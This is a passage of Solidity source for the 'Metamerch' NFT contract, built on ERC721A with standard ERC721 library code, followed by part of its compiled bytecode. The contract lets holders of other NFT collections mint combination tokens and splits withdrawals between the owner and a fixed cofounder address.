safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256); } abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } interface IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private _name; string private _symbol; mapping(uint256 => address) private _owners; mapping(address => uint256) private _balances; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } function _baseURI() internal view virtual returns (string memory) { return ""; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { mapping(address => mapping(uint256 => uint256)) private _ownedTokens; mapping(uint256 => uint256) private _ownedTokensIndex; uint256[] private _allTokens; mapping(uint256 => uint256) private _allTokensIndex; function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; _ownedTokensIndex[lastTokenId] = tokenIndex; } delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; _allTokensIndex[lastTokenId] = tokenIndex; delete _allTokensIndex[tokenId]; _allTokens.pop(); } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes the number of issuable tokens (collection size) is capped and fits in a uint128. * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable collectionSize; uint256 internal immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. * `collectionSize_` refers to how many tokens are in the collection. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_ ) { require( collectionSize_ > 0, "ERC721A: collection must have a nonzero supply" ); require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; collectionSize = collectionSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - there must be `quantity` tokens remaining unminted in the total collection. * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } contract Metamerch is ERC721A, Ownable{ string private _baseTokenURI; mapping (uint => bool) private isExistCombination; mapping (uint => Combination) private combinations; mapping (uint => Model) private models; mapping (uint => Collection) private collections; struct Collection{ bool _available; address _address; address _owner; uint _price; uint _royalty; } struct Combination{ uint _model; uint _id; uint _collection; } struct Model{ bool _available; string _name; } uint public collectionCount; uint public modelsCount; constructor() ERC721A("Metamerch", "MM", 20, 999999999) { } function mint(address _to, uint _collectionId, uint _modelId, uint[] memory _tokenIds) public payable { require(collections[_collectionId]._available, "Collection not available"); require(models[_modelId]._available, "Model not available"); require(_tokenIds.length <= 20, "Exceeds 20"); require(_tokenIds.length != 0, "Not specified tokens"); require(msg.value == _tokenIds.length * collections[_collectionId]._price, "Value below price"); for(uint i = 0; i < _tokenIds.length; i++){ require(COLLECTION(collections[_collectionId]._address).ownerOf(_tokenIds[i]) == msg.sender, "Sender not own all specified tokens"); for(uint t = 0; t < _tokenIds.length; t++){ if (i != t){ require(_tokenIds[i] != _tokenIds[t], "Specified tokens in not unique"); } } uint combinationHash = uint(keccak256(abi.encodePacked(_modelId,_tokenIds[i],_collectionId))); require(!isExistCombination[combinationHash], "Combination already exist"); isExistCombination[combinationHash] = true; combinations[totalSupply() + i] = Combination(_modelId,_tokenIds[i],_collectionId); } if (collections[_collectionId]._royalty != 0){ require(payable(collections[_collectionId]._owner).send(msg.value / 100 * collections[_collectionId]._royalty)); } _safeMint(_to, _tokenIds.length); } function walletOfOwner(address _owner) external view returns(uint256[] memory) { uint tokenCount = balanceOf(_owner); uint256[] memory tokensId = new uint256[](tokenCount); for(uint i = 0; i < tokenCount; i++){ tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } function existCombination(uint _collectionId, uint _modelId, uint _tokenId) external view returns (bool) { uint combinationHash = uint(keccak256(abi.encodePacked(_modelId,_tokenId,_collectionId))); if (isExistCombination[combinationHash]){ return true; } else { return false; } } function getCombination(uint _id) public view returns (Combination memory _combination, string memory _modelname, string memory _collectionname, address _collection) { require(_id < totalSupply(), "Token not exist"); _combination = combinations[_id]; _modelname = models[_combination._model]._name; _collectionname = COLLECTION(collections[_combination._collection]._address).name(); _collection = collections[_combination._collection]._address; } function getCollection(uint _collectionId) public view returns (Collection memory _collection, string memory _collectionname) { require(_collectionId < collectionCount, "Collection not available"); _collection = collections[_collectionId]; _collectionname = COLLECTION(collections[_collectionId]._address).name(); } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function setBaseURI(string memory baseURI) public onlyOwner { _baseTokenURI = baseURI; } function addCollection(Collection memory _collection) public onlyOwner { for(uint i = 0; i < collectionCount; i++){ require(_collection._address != collections[i]._address, "Collection already added"); } collections[collectionCount] = _collection; collectionCount += 1; } function setCollectionAvailable(uint _id, bool _status) public onlyOwner { require(_id < collectionCount, "Collection not found"); collections[_id]._available = _status; } function setCollectionPrice(uint _id, uint _price, uint _royalty) public onlyOwner { require(_id < collectionCount, "Collection not found"); collections[_id]._price = _price; collections[_id]._royalty = _royalty; } function setCollectionOwner(uint _id, address _owner) public onlyOwner { require(_id < collectionCount, "Collection not found"); collections[_id]._owner = _owner; } function addModel(string memory _name) public onlyOwner { models[modelsCount]._available = true; models[modelsCount]._name = _name; modelsCount += 1; } function withdrawAll() public payable { address cofounder = 0xF654E178C293f84209da7DfEFab0061e41F23084; require(msg.sender == owner() || msg.sender == cofounder); uint256 cofounder_value = address(this).balance / 100 * 50; uint256 owner_value = address(this).balance - cofounder_value; require(payable(cofounder).send(cofounder_value)); require(payable(msg.sender).send(owner_value)); } } interface COLLECTION{ function ownerOf(uint256 tokenId) external view returns (address owner); function name() external view returns (string memory); }
0x6080604052600436106101f95760003560e01c8063715018a61161010d578063ba8fded1116100a0578063d57f966b1161006f578063d57f966b1461074d578063d7224ba014610778578063e985e9c5146107a3578063ea856842146107e0578063f2fde38b1461080b576101f9565b8063ba8fded114610681578063bcff92fd146106aa578063c1fad254146106e7578063c87b56dd14610710576101f9565b8063998c829b116100dc578063998c829b146105c6578063a22cb465146105ef578063acdfc8b714610618578063b88d4fde14610658576101f9565b8063715018a61461054f578063853828b6146105665780638da5cb5b1461057057806395d89b411461059b576101f9565b806323b872dd116101905780634f6ccce71161015f5780634f6ccce71461043157806355f804b31461046e5780635a1f3c28146104975780636352211e146104d557806370a0823114610512576101f9565b806323b872dd146103655780632f745c591461038e57806342842e0e146103cb578063438b6300146103f4576101f9565b8063081812fc116101cc578063081812fc146102b8578063095ea7b3146102f557806318160ddd1461031e578063200f5e5c14610349576101f9565b806301122741146101fe57806301ffc9a714610227578063020cb1d31461026457806306fdde031461028d575b600080fd5b34801561020a57600080fd5b50610225600480360381019061022091906141f7565b610834565b005b34801561023357600080fd5b5061024e6004803603810190610249919061410b565b610a72565b60405161025b9190614a7f565b60405180910390f35b34801561027057600080fd5b5061028b60048036038101906102869190614251565b610bbc565b005b34801561029957600080fd5b506102a2610cd5565b6040516102af9190614a9a565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190614224565b610d67565b6040516102ec91906149f6565b60405180910390f35b34801561030157600080fd5b5061031c60048036038101906103179190614048565b610dec565b005b34801561032a57600080fd5b50610333610f05565b6040516103409190614f1f565b60405180910390f35b610363600480360381019061035e9190614088565b610f0e565b005b34801561037157600080fd5b5061038c60048036038101906103879190613f32565b6114ed565b005b34801561039a57600080fd5b506103b560048036038101906103b09190614048565b6114fd565b6040516103c29190614f1f565b60405180910390f35b3480156103d757600080fd5b506103f260048036038101906103ed9190613f32565b6116fb565b005b34801561040057600080fd5b5061041b60048036038101906104169190613e98565b61171b565b6040516104289190614a5d565b60405180910390f35b34801561043d57600080fd5b5061045860048036038101906104539190614224565b6117c9565b6040516104659190614f1f565b60405180910390f35b34801561047a57600080fd5b5061049560048036038101906104909190614165565b61181c565b005b3480156104a357600080fd5b506104be60048036038101906104b99190614224565b6118b2565b6040516104cc929190614e9c565b60405180910390f35b3480156104e157600080fd5b506104fc60048036038101906104f79190614224565b611abb565b60405161050991906149f6565b60405180910390f35b34801561051e57600080fd5b5061053960048036038101906105349190613e98565b611ad1565b6040516105469190614f1f565b60405180910390f35b34801561055b57600080fd5b50610564611bba565b005b61056e611c42565b005b34801561057c57600080fd5b50610585611d7e565b60405161059291906149f6565b60405180910390f35b3480156105a757600080fd5b506105b0611da8565b6040516105bd9190614a9a565b60405180910390f35b3480156105d257600080fd5b506105ed60048036038101906105e89190614165565b611e3a565b005b3480156105fb57600080fd5b5061061660048036038101906106119190614008565b611f31565b005b34801561062457600080fd5b5061063f600480360381019061063a9190614224565b6120b2565b60405161064f9493929190614ecc565b60405180910390f35b34801561066457600080fd5b5061067f600480360381019061067a9190613f85565b6122ee565b005b34801561068d57600080fd5b506106a860048036038101906106a39190614291565b61234a565b005b3480156106b657600080fd5b506106d160048036038101906106cc91906142d1565b61243c565b6040516106de9190614a7f565b60405180910390f35b3480156106f357600080fd5b5061070e600480360381019061070991906142d1565b6124ac565b005b34801561071c57600080fd5b5061073760048036038101906107329190614224565b6125a7565b6040516107449190614a9a565b60405180910390f35b34801561075957600080fd5b5061076261264e565b60405161076f9190614f1f565b60405180910390f35b34801561078457600080fd5b5061078d612654565b60405161079a9190614f1f565b60405180910390f35b3480156107af57600080fd5b506107ca60048036038101906107c59190613ef2565b61265a565b6040516107d79190614a7f565b60405180910390f35b3480156107ec57600080fd5b506107f56126ee565b6040516108029190614f1f565b60405180910390f35b34801561081757600080fd5b50610832600480360381019061082d9190613e98565b6126f4565b005b61083c6127ec565b73ffffffffffffffffffffffffffffffffffffffff1661085a611d7e565b73ffffffffffffffffffffffffffffffffffffffff16146108b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a790614c3c565b60405180910390fd5b60005b600e5481101561097957600d600082815260200190815260200160002060000160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826020015173ffffffffffffffffffffffffffffffffffffffff161415610966576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095d90614e7c565b60405180910390fd5b808061097190615357565b9150506108b3565b5080600d6000600e54815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160000160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060608201518160020155608082015181600301559050506001600e6000828254610a6891906150af565b9250508190555050565b60